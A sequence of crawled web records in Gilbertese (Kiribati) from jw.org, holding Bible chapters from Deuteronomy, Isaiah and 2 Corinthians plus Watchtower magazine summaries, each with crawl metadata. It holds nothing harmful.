100 te tiekera* n tirewa, ao n anga baikai nakon taman te aine aei, ibukina bwa teuaei e kabuakakaa te aine ae tibun Iteraera ae te teinnaine,+ ao e na bon teimatoa neiei ni buuna teuaei. E na aki kariaiakaki teuaei n ana bong ni maiu ni kabane bwa e na buuraure ma neiei. 20 \"Ma ngkana e boni koaua te bukibuki, ao bon akea bwaini kakoauaan ae te teinnaine te aine aei, 21 a riai ni kaira te aine aei ni kaotinakoa nakoni mataroan ana auti tamana, ao mwaanen ana kaawa neiei a riai ni karebanaia n atibu n uaa matena, ibukina bwa e a tia ni karaoa te mwakuri ae moan te kabwainrang+ i Iteraera, ngke e wene ni bure* n ana auti tamana.+ N te aro aei kam na kanakoa iai te bwai ae buakaka mai buakomi.+ 22 \"Ngkana e kuneaki te mwaane temanna ni wene ma te aine ae buun te mwaane temanna, ao a riai ni kaai ni mate, te mwaane are wene ma te aine n ikotaki ma te aine anne.+ N te aro aei kam na kanakoa iai te bwai ae buakaka mai buakoia tibun Iteraera. 23 \"Ngkana e kabae te mwaane ma te aine ae tuai ni boo ma te mwaane, ao iai te mwaane temanna ae e a manga kaitiboo ma neiei n te kaawa, ao e wene ma ngaia, 24 kam riai ni kaai ni kairiia ni kaotinakoia nakoni mataroan oon te kaawa, ao ni karebanaiia n atibu n uaa mateia, te aine anne ibukina bwa e aki takarua n te kaawa, ao teuanne ibukina bwa e kabwainranga buun raona.+ N te aro aei kam na kanakoa iai te bwai ae buakaka mai buakomi. 25 \"Ma ngkana e kaitiboo n te tawaana te mwaane temanna ma te aine ae kabae, ao te mwaane aei e kakorakoraa n taumatoaa neiei ao e wene ma ngaia, e na tii mate te mwaane ae wene ma neiei, 26 ao akea te bwai ae kam na karaoia nakon te aine aei. E aki karaoa te bure te aine aei ae e tau ni mate iai. Tii te arona te aekaki aei ma aron te mwaane ae kibara raona n aomata ao e tiringnga.+ 27 Bwa e kaitiboo ma neiei n te tawaana, ao e takarua te aine ae kabae aei, ma akea ae e kamaiua. 28 \"Ngkana e kaitiboo te mwaane ma te aine ae tuai ni boo ma te mwaane ao e tuai ni kabae, ao e taua neiei ma te matoa ao e wene ma ngaia, ao e a ataaki taekaia,+ 29 ao te mwaane are wene ma te aine aei e na anga 50 te tiekera n tirewa nakon taman neiei, ao e na riki neiei bwa buuna.+ E na aki kariaiakaki teuaei n ana bong ni maiu ni kabane bwa e na buuraure ma neiei, ibukina bwa e a tia ni kabwainrangnga. 30 \"Akea te mwaane ae riai n anaa buun tamana, bwa e kaawa ni kamaamaea tamana.*+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-tua-kaua\/22\/","date":"2018-04-26T14:39:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948214.37\/warc\/CC-MAIN-20180426125104-20180426145104-00480.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1068,"character_repetition_ratio":0.073,"word_repetition_ratio":0.042,"special_characters_ratio":0.246,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI Na. 5 2016 | E na Reke Ia Kabebetean Nanom?\nTi bane ni kainnanoa kabebetean nanora riki n taai ni karawawata. E kabwarabwaraaki n te maekatin aei aron te Atua n anga te kabebetenano nakoia aomata aika kaaitara ma kangaanga.\nATUN TE MAEKATIN\nTera ae ko na karaoia ngkana ko kaaitara ma maten temanna ae tangiraki iroum ke kangaanga aika kakaiaki ma marurungim, te tekateka n taanga, ke te mwakuri?\nATUN TE MAEKATIN\nBwaai n ibuobuoki aika aua ibukin ane e rawawata.\nATUN TE MAEKATIN\nAroia aomata ni karekea te ibuobuoki n te tai are a rangi ni kainnanoia iai.\nTe rairai aei ae te Rairai ae te Aonnaba ae Boou, e boni kaota ana taeka te Atua n oin am taetae n te aro ae eti.\nE BITII MAIUIA AOMATA TE BAIBARA\nTera ae e kaira te tia un mai Mexico bwa e na kani bita aroarona?\nKo na bae ni mimi n te kaeka.\nBaika Tibwa Rin Riki n te Intanete\nKaekaan am tataro iroun te Atua e boboto riki mairoum.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na5-2016-tebetembwa\/","date":"2018-04-22T05:35:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945493.69\/warc\/CC-MAIN-20180422041610-20180422061610-00423.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":172,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.395,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"58 \"Takarua n raeraea buuam, tai karaurau! Kanenea bwanaam n aron te buu. Katanoataa nakoia au aomata aia karitei,+Nakoia tibun Iakoba aia bure. 2 A ukoukorai ni katoabong,Ao a kaota kimwareireia ae bati ni kan atai arou,Kaanga ai aron ae te natannaomata ngaiia aika kakaraoa ae raoiroiAo a aki kitana ana kaetitaeka ae riai Atuaia.+ A titirakinai ibukin taiani motikitaeka aika raraoi,Ao a rangi ni kimwareirei ni kaania te Atua:+ 3 'E aera ngkai ko aki noria ngke ti aki mamatam?+ Ao e aera ngkai ko aki ataia ngke ti karawawataira i bon iroura?'+ Ibukina bwa kam tii ukoukora tabeakinan oin nanomi* n te bong are kam aki mamatam iai,Ao kam karawawataia ami tia mwakuri.+ 4 Mwin ami aki mamatam bon taiani kauntaeka ma taiani boo n un,Ao kam oro ma te iowawa n ami timoi. Kam aki kona n aki mamatam n aron ae kam karaoia n te bong aei ao e na ongoraeaki bwanaami i karawa. 5 Ai aron aei ngkai te aki mamatam ae I rineia,Ae kaanga ai aron ana bong temanna ni karawawataa i bon irouna,Ni kabobaraaka atuna n aron te uteute ae abwabwaki,Bwa e na karaoa nnena ni wene i aon te raerobwa* ao te mannang? Aei ngkai ae kam aranna bwa te aki mamatam ao te bong ae kakukureia Iehova? 6 Tiaki ngaia anne, aio te aki mamatam ae I rineia: Kabwaraan ana bwai ni kabaewae te buakaka,Ma kabwaraani kabaeani kain te amo,+Ma kainaomataaia akana karawawataaki,+Ao oteani kain te amo ni kabane ni bwenauai. 7 Bon tibwaakin am kariki nakoia akana baki,+Ao kairaia nakon am auti akana maiu ni kainnano ma akana akea mwengaia,Ao kunnikaian ane akea karabaana ngkana ko noria,+Ao te aki tannako mairoun oin irikom. 8 E na oota ngkanne am oota n aron tabwenani mainiku,+Ao e na waekoa n rikirake marurungim. E na rimoam am raoiroi,Ao e na riki mimitongin Iehova bwa am tia tantani mai buki.+ 9 Ao ane ko na wewete, ao e na kaekako Iehova. Ko na tang ni kani buokaki ao e na kangai, 'Aio ngai!' Ngkana ko kanakoa kain te amo mairoum,Ao ni katoka te kotokoto n tabonibaim ma te taetae n iowawa,+ 10 Ao ngkana ko angan ane e baki te bwai ae ko tangiria+Ao ni kanuaiia te koraki ake a karawawataaki,Ao e na oota am oota i nanon naba te rotongitong, Ao e na riki am roo bwa kaanga te tawanou.+ 11 E na teimatoa ni kaiririko IehovaAo ni kanuaiko n te aba naba ae mwauteretere.+ E na kakorakorai riim,Ao ko na riki bwa ai aron te onnaroka ae tetebokaki raoi,+Ao ai aron te koburake n ran ae aki kona n tare ranna. 12 A na manga katei ibukim kaawa ake a uruaki ngkoangkoa,+Ao ko na manga kaoki aan taiani kateitei ake a tiku n uruaki i nanon rooro aika bati.+ Ko na aranaki bwa te tia onobwai n taian oo aika uruaki,*+Ao te tia kaoki kawai nakon aroia bwa a na maekanaki. 13 Ngkana ibukin te bongi n Taabati ae ko rawa* iai n ukoukori oin nanom* n au bong ae tabu,+Ao ko arana te bongi n Taabati bwa te bwai ni kakimwareirei ae korakora, ae ana bong ae tabu Iehova, ae te bong ae e na karineaki,+Ao ko karinea n oneani mwin ae ko ukoukori oin nanom ma n taekin taeka aika akea uaaia, 14 Ao ane ko na karekea kimwareireim ae korakora iroun Iehova,Ao N na karaoiko bwa ko na taui aron taabo aika rietata n te aonnaba.+ N na kaamwarakeko man* tibwangan Iakoba are am bakatibu,+Bwa e taekina anne win Iehova.\"\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/itaia\/58\/","date":"2018-04-19T14:33:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125936969.10\/warc\/CC-MAIN-20180419130550-20180419150550-00608.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":623,"character_repetition_ratio":0.054,"word_repetition_ratio":0.007,"special_characters_ratio":0.226,"stopwords_ratio":0.376,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI Na. 2 2017 | Ko na Butimwaea Ana Bwaintangira ae Rianako te Atua?\nTERA AM IANGO?\nTera te bwaintangira ae te kabanea ni kakawaki ae e a tia n anga te Atua?\nE kangai te Baibara: \"E rangi n tangiriia kaain te aonnaba te Atua, n te aro are e a anga Natina ae te rikitemanna.\"\nE maroroakinaki n Te Taua-n-Tantani aei bwa e aera ngkai e kanakomaia Iesu te Atua bwa e na mate ibukira ao ti na kangaa ni kaota ara kakaitau ibukin te bwaintangira anne.\nATUN TE MAEKATIN\nE kabwarabwaraa te bwaintangira teuana te Baibara ae akea kabotauana, ae kona n reke iai kakabwaiaaia ake a butimwaeia ae te maiu n aki toki. Iai te bwaintangira teuana ae kakawaki riki nakon aei?\nATUN TE MAEKATIN\nTera te bwai ae karika te bwaintangira teuana bwa e na kakawaki riki nakon are teuana? Iangoakini baikai e kona ni buokira ni kabatiaa riki ara kakaitau ibukin te kaboomwi.\nATUN TE MAEKATIN\nE kairoroira ana tangira te Kristo bwa ti na karaoa tera?\nAaro tabeua a katei tua bwa a na aki iein mataniwi n aia Aro ma aia tia kairiri. Ma tera ana reirei te Baibara i aon te baei?\nN taai ake ngkoa, ao a kakainaomataaki ana aomata te Atua man te tautoronaki. E kananokawaki bwa a bon rotakibuaka naba ngkai aomata aika mirion ma mirion mwaitiia n te waaki ae ribuaka aei.\nKo na bon rotaki ma tabemwaang n te aro ae raoiroi man te anganga. E karekea te kaai n ibuobuoki ao te iraorao. Ko na kangaa n riki bwa te tia anga ma kukurein nanona?\nE taekinna te Baibara \"bwa a na roko taai aika okoro aika karuanikai,\" ni \"kabaneani boong.\" E kaineti te kabwarabwara anne ma te tai ae ti a maeka iai ngkai?","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na2-2017-maati\/","date":"2018-04-19T20:27:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937016.16\/warc\/CC-MAIN-20180419184909-20180419204909-00177.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":298,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"11 Kam bia taon nanomi ngkana I nanobaba teutana. Ma kam bon taotaon nanomi nakoiu! 2 Bwa I tauaninne iroumi n aron ana tauaninne te Atua,* bwa I a tia ni kabaeingkami bwa kam na mareaki ma te mwaane ae tii temanna ae te Kristo, ao I kan anga ngkami nakoina bwa kaanga te aine ae itiaki ae tuai ni boo ma te mwaane.+ 3 Ma I maaku bwa e kaawa ni kabuakakaaki ami iango, ao kam na rairakinako mani kaotiotan te nano ni koaua ao te itiaki ae riai nakon te Kristo,+ n aron Ewa ngke e mwamwanaaki n ana nanowanawana te naeta.+ 4 Bwa ngkana e roko temanna n uarongorongoa taekan Iesu riki temanna ae tiaki are ti tataekinna, ke ngkana kam a manga butimwaea kairakimi n te nano teuana ae okoro ma are kam a tia ni butimwaeia ngkoa, ke te rongorongo ae raoiroi teuana irarikin are kam a tia ni butimwaeia,+ ao kam kai taon nanomi nakon te aeka n aomata anne. 5 Bwa I taku bwa bon akea te bwai teuana ae I mangori riki iai nakoia ami abotoro akanne, ake aongkoa moan te raoiroi aroia.+ 6 Ma e ngae ngkana tao I bangabwai n te taetaenikawai,+ ma I bon aki bangabwai n te atatai, ao ti boni kaotiotia nakoimi n aanga nako ni bwaai ni kabane. 7 Ke I karaoa ae bure ngke I kananorinanoai bwa kam aonga ni karietataaki, ngkai I kukurei n tataekina ana rongorongo ae raoiroi te Atua nakoimi n akea boona?+ 8 I kuribwai* n ekaretia ake tabeua n arou ni butimwaei bwaai n ibuobuoki* mairouia, bwa I aonga ni beku ibukimi.+ 9 Ma ngke I a mena i rarikimi ao e kai nanou bwa akea au bwai, ma I aki roko n te riki bwa te bwai ni karawawata nakon temanna, bwa a katauraoi bwaai ake I kainnanoi+ taari ake a roko mai Maketonia. Eng, I kateimatoa arou n aki karawawataingkami n te bwai teuana, ao N na kateimatoa arou aei.+ 10 Ngkai I bon tataekina te koaua n ai aroni Kristo, ao e na aki toki au kamoamoa+ aei n aonon Akaia. 11 Bwa tera bukina? Ibukina bwa I aki tangiringkami? E ataia te Atua bwa I tangiringkami. 12 Ma N na teimatoa ni karaoa ae I karaoia ngkai,+ bwa e aonga n aki reke angaia te koraki ake a kamoamoa n taku bwa abotoro naba ngaiia, ao a kan taraaki irouia aomata bwa abotoro. 13 Bwa bon abotoro ni kewe aomata akanne aika taani mwakuri aika mwamwanaa te aba ake a onikiia bwa aongkoa ana abotoro Kristo.+ 14 Ao e aki kamimi aei, bwa e oninikia Tatan bwa te anera ae kaotiota te oota.+ 15 Mangaia ae bon tiaki te bwai ni kamimi ngkana a onikiia naba ana tabonibai bwa kaanga tabonibai ibukin te raoiroi. Ma tokia e na boni boraoi ma aia mwakuri.+ 16 I a manga taku: Ke e tai iangoia temanna bwa I nanobaba. Ma ngkana ngaia anne ami iango, ao butimwaeai e ngae ngkana tao I nanobaba, bwa I aonga ni kona ni kamoamoa teutana, n aron ae a karaoia. 17 Bwa ae I taekinna, tiaki n ae I kakairi iroun te Uea, ma n ai aron te aomata ae nanobaba, n te aki nanokokoraki ae irian te kamoamoa. 18 Kioina ngkai a bati aika kamoamoa n te aro n rabwata, ao N na kamoamoa naba ngai. 19 Ibukin are aongkoa kam rangi ni wanawana, kam a taon nanomi nakoia aomata aika nanobaba. 20 Ma ni koauana, kam taon nanomi nakon ane e tautoroningkami, ke ane e kabanei ami bwai, ke ane e kuribwaingkami, ke ane e karietataa i aomi, ke ane e oroubuingkami. 21 Ti maamaa ngkai ti taekina aei, kioina ngkai ti taraa ni mamaara. Ma ngkana iai aika a ninikoria—I taetae n aron te aomata ae nanobaba—I ninikoria naba ngai. 22 Taian Ebera nakanne? Ngai naba.+ Tibun Iteraera nakanne? Ngai naba. Kanoan* Aberaam nakanne? Ngai naba.+ 23 Ana minita Kristo nakanne? N na kaeka n aron te aomata ae rangirang, E rianako riki arou iai bwa e bati riki au bekutata,+ e bati riki kamatawarikau,+ e mwaiti riki oreau, ao a bati au tai ni kuri ni mate.+ 24 Nimaua au tai n oreaki irouia I-Iutaia ni kaiu aika 39,+ 25 tenua au tai ni batiboaki n taiani kai,+ te taina au tai ni karebanaaki n atibu,+ tentai au tai n toka ni kaibuke ake a urubekebeke i taari,+ I tiku i nanoni marawa teuana te bong ao teuana te ngaina, 26 ni mwamwanangau aika bati, I kuri ni kabuanibwai n taiani karaanga, ao irouia taani kamwarua. I kuri ni kabuanibwai irouia aika boni kaain au reeti+ ao irouia ake tiaki I-Iutaia.+ I kuri ni kabuanibwai n te kaawa+ ao n te rereua. I kuri ni kabuanibwai i marawa, ao I kuri ni kabuanibwai irouia taari ni kewe, 27 n te bekutata ma te korakai, n te aki mamatu n taian tairiki aika bati,+ n te matenibaki ao n te taka,+ n te aki amwamwarake n taai aika bati,+ n te mariri ao n aki tauni mwaitini kunnikaiu i aou. 28 Irarikini baikai ni kabane, ao iai riki te bwai ae taotaonai n te bong teuana ma teuana: bon te tabeaianga ibukin taian ekaretia ni kabane.+ 29 Antai ae mamaara ao N na aki naba ngai mamaara? Antai ae kabwakaaki ao e na aki maraki nanou iai? 30 Ngkana I riai ni kamoamoa, ao N na kamoamoa ni baike a kaota mamaarau. 31 E ataia te Atua ae Atuan ao Taman te Uea ae Iesu bwa I aki kewe, are Teuare riai ni karaoiroaki n aki toki. 32 Ngke I mena i Tamateko ao te kowana are i aan Areta are te uea, e teiakina kaawan Tamateko bwa e kan tauai, 33 ma I nnaaki rikaaki n te bwaene mani kamaaman oon te kaawa+ ao I rabanako mairouna.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-i-korinto\/11\/","date":"2018-04-21T06:54:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945037.60\/warc\/CC-MAIN-20180421051736-20180421071736-00068.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":990,"character_repetition_ratio":0.048,"word_repetition_ratio":0.004,"special_characters_ratio":0.237,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5 Bwa ti ataia bwa ngkana e uruaki*+ ara auti ae bwain aon te aba, ae te umwanrianna aei, ao e na reke iroura te kateitei mairoun te Atua, ae te auti ae aki kateaki ni baia aomata,+ ae teimatoa n aki toki i karawa. 2 Ni koauana, ti ngirangira n te auti* aei, ao ti ingainga ni kani karina i aora are teuana are ibukira* are bwaini karawa,*+ 3 n te aro are ngkana ti karinna raoi, ao ti nang aki kuneaki n aki karabaanira. 4 Ni koauana, ti ngirangira ngaira ake ti maeka n te umwanrianna aei kioina ngkai ti karawawataaki, ibukina bwa ti aki kani buuta te umwanrianna aei, ma ti kani karina are teuana,+ bwa e aonga n oneaki mwin are mamate n te maiu.+ 5 Ma teuare katauraoira ibukin te baei bon te Atua+ are anganira te taamnei bwa kakoauaan te baere e na roko.*+ 6 Mangaia ae e korakora ninikoriara n taai nako ao ti ataia bwa ngkai iai mwengara ae n te rabwata, ao ti aki maeka ma te Uea,+ 7 bwa ti nakonako n te onimaki, ao tiaki n ae noraki. 8 Ma e korakora ninikoriara, ao ti kukurei riki ngkana ti a aki manga maeka n te rabwata bwa ti a maeka ma te Uea.+ 9 Mangaia ae n aki ongeia bwa ti maeka ia, tao ngkana ti maeka ma ngaia ke ti aki, ma ti uaiakina tiara ae ti na tau ni butimwaeaki irouna n taai nako. 10 Bwa ti riai ni bane ni kaoti* i matan ana bao ni motikitaeka te Kristo, bwa e aonga ni karekea kaniwangana temanna ma temanna ibukini baike e kakaraoi ngke e mena n rabwatana n aomata, ni kaineti ma baike e kakaraoi, bwa tao a raraoi ke a bubuaka.+ 11 Mangaia ae ngkai ti ataia bwa ti riai ni maaka te Uea, ao ti teimatoa iai n anai nanoia aomata, ma ti a ataaki raoi iroun* te Atua. Mangaia ae I kantaningaia bwa e a tia ni buokingkami mataniwin nanomi bwa kam na ota bwa aeka n aomata raa ngaira. 12 Ti aki manga moani kaotiira nakoimi bwa antai ngaira, ma ti kaungai nanomi bwa kam na kamoamoa iroura, bwa kam aonga ni kona ni kaekaia naake a kamoamoa ibukin taraakin+ tinanikun te aomata ao tiaki nanona. 13 Bwa ngkana tao ti rangirang+ ao bon ibukin te Atua, ma ngkana ti nano n aomata ao bon ibukimi. 14 Bwa e kairoroira ana tangira te Kristo, ibukina bwa aei ae ti a tia ni motikia, bwa e mate te aomata ae tii temanna ibukia aomata ni kabane,+ ibukina bwa a a tia ni bane ni mate. 15 Ao e mate ibukia ni kabane, bwa a aonga n aki manga maiu akana maiu i bon ibukia,+ ma a na maiu ibukin teuare mate ibukia, are e a tia ni kautaki. 16 Mangaia ae ni moa mangkai ao ti na aki manga iangoa te aomata temanna n te aro n rabwata.+ E ngae ngke ti a tia n iangoa Kristo n te aro n rabwata, ma ti a aki ngkai manga iangoia n aron anne.+ 17 Ma ngkana iai ae e katiteuanaaki ma Kristo, ao boni ngaia te karikibwai ae boou.+ A a mauna bwaai nikawai, ao noria! a a manga riki baika boou. 18 Ma baikai ni kabane boni mairoun te Atua are raoiakinira nakoina rinanoni Kristo,+ ao e anganira te mwakuri ae kaineti ma raoiakinaia aomata,+ 19 bwa e raoiakinia kaain te aonnaba te Atua nakoina rinanoni Kristo+ n aki taui mwin aia bure,+ ao e mwiokoira ni kaotiotan taekan te mwakuri n raoiakinia aomata.+ 20 Mangaia ae taan tei ngaira+ ibukini Kristo,+ kaanga ai aron ae e wewete te Atua rinanora. Ao kioina ngkai taan tei ibukini Kristo ngaira, ti onnonia aomata ni kangai: \"Kam na raoiakinaki ma te Atua.\" 21 Bwa teuare akea ana bure,+ e karaoaki iroun te Atua bwa e na riki bwa te karea ibukin ara bure, bwa ti aonga n raoiroi i matan te Atua rinanona.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-i-korinto\/5\/","date":"2018-04-21T01:06:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944848.33\/warc\/CC-MAIN-20180420233255-20180421013255-00069.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":693,"character_repetition_ratio":0.049,"word_repetition_ratio":0.006,"special_characters_ratio":0.239,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8 Ti kani kaongoingkami ngkai taari taekan ana akoi ae rianako te Atua, ake a anganaki taian ekaretia ake i Maketonia.+ 2 Ngke a rinanoni kataakia ae korakora ao karawawataaia, ao a kairaki ni kimwareireia ae bati bwa a na kabatiai* aia tituaraoi, e ngae ngke e bon rangi ni karako aia bwai. 3 Bwa a karaoa aei n ai aron aia konaa,+ ao I kakoaua n aei nakoimi bwa a karaoa ae riaon aia konaa,+ 4 bwa bon nanoia taari aikai ni bubutii ao n onnon naba nakoira bwa a na kariaiakaki n anga aia bwaintituaraoi, ma n ira naba te mwakuri n ibuobuoki ae karaoaki ibukini buokaia te koraki aika itiaki.*+ 5 Ao a karaoa ae riaon ae ti kantaningaia, ngkai a anga moa ngaiia nakon te Uea ao imwina nakoira, n ai aron nanon te Atua. 6 Mangaia ae ti kaungaa Tito+ bwa e riai ni katiaa raoi rikoan ami bwaintituaraoi anne, ngkai boni ngaia are e moani kauekea te baei i buakomi. 7 Kam bia kabatiai naba ami tituaraoi+ n te angabwai anne, kioina ngkai kam a kaubwai ni baikai ni kabane ae taekan te onimaki ao te taeka, te atatai, te ingaingannano, ao te tangira ae ti kaotia nakoimi. 8 I taekina aei, tiaki n ae I tua nakoimi, ma I taetae bwa kam aonga n ataa naba ingaingan nanoia ake tabemwaang, ao I kan tuoa koauan ami tangira. 9 Bwa kam ataa ana akoi ae rianako ara Uea ae Iesu Kristo, bwa e ngae ngke e kaubwai ma e riki n aki kaubwai ibukimi,+ bwa kam aonga ni kaubwai rinanon aki kaubwaina. 10 Ao I kaota au iango+ n aei, bwa kam na kabwaia ngkana kam waakina te baei, kioina ngkai kam aki tii kauekea moani karaoana, ma iai naba nanomi ni kamani kani karaoia teuana te ririki n nako. 11 Mangaia ae katiaa raoi te bwai are kam moana karaoana ma te ingaingannano, bwa e aonga n tia naba ma te ingaingannano, ni kaineti ma baika mena i nanoni baimi. 12 Bwa e butimwaeaki riki te angabwai ngkana e tauraoi te aomata ni kan anga.+ E aki kantaningaaki bwa e na anga are akea irouna, ma e na anga are iai irouna. 13 Bwa I aki kani kabebetea te waaki ibukia tabemwaang, ma ngkami kam na karawawataaki iai. 14 E na riki rakan ami bwai ngkai, bwa buokani kainnanoia, bwa e na buokaki naba kainnanomi n te taina n rakan aia bwai, bwa e aonga ni kaboraoaki uotami. 15 N aron are koreaki ni kangai: \"E aki reke ae raka iroun te aomata ae ikota ae bati, ao e aki rangi ni karako ae reke iroun te aomata ae ikota ae karako.\"+ 16 Ma e na katituaraoaki te Atua ngkai e kaaki i nanon Tito+ te ingaingannano ae titeboo ma ae iroura, ae te ingaingannano ibukimi, 17 ibukina bwa e a tia ni butimwaea raoi te kaungaunga, ao kioina ngkai e a rangi n ingainga nanona, e a nakoati n oin nanona. 18 Ma ti kanakoa te tari temanna ma ngaia, ae e tanoata kamoamoaana rinanon taian ekaretia ni kabane, ibukin ana mwakuri ae e karaoia ibukin te rongorongo ae raoiroi. 19 Tiaki tii anne, ma e mwiokoaki naba irouia taian ekaretia bwa e na riki bwa raora ni mwamwananga ni kaineti ma te bwaintituaraoi aei ae ti na tibwaia, n te aro ae e na neboaki iai te Uea ma ni kakoauaaki tauraoira ni buokiia tabemwaang. 20 N te aro aei ao ti totokoa iai bukinara iroun temanna ni kaineti ma te angabwai ae bati aei, ae ti mwiokoaki bwa ti na tibwaia.+ 21 Bwa ti 'karaoi bwaai nako n te aro ae eti raoi, tiaki tii i matan Iehova,* ma i mataia naba aomata.'+ 22 Ao ti a kamwanangaa ngkai ma nakanne tarira ae ti a tia n okioki n tuoa ao n noria bwa e taningamarau n aaro aika bati, ma e a taningamarau riki ngkai e rangi n onimakiningkami. 23 Ma ngkana iai te nanououa iroumi ibukin Tito, ao N na tuangingkami, bon toau* ao raou ni mwakuri ibukini kabwaiami. Ke ngkana kam nanououa ibukia tarira, ao N na tuangingkami, bon abotoro* ngaiia ibukin taian ekaretia, ao a karekea kamoamoaani Kristo. 24 Mangaia ae kaotiota nakoia koauan ami tangira+ ao kaotia nakoia ekaretia bwa bukin tera ngkai ti kamoamoaingkami.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou 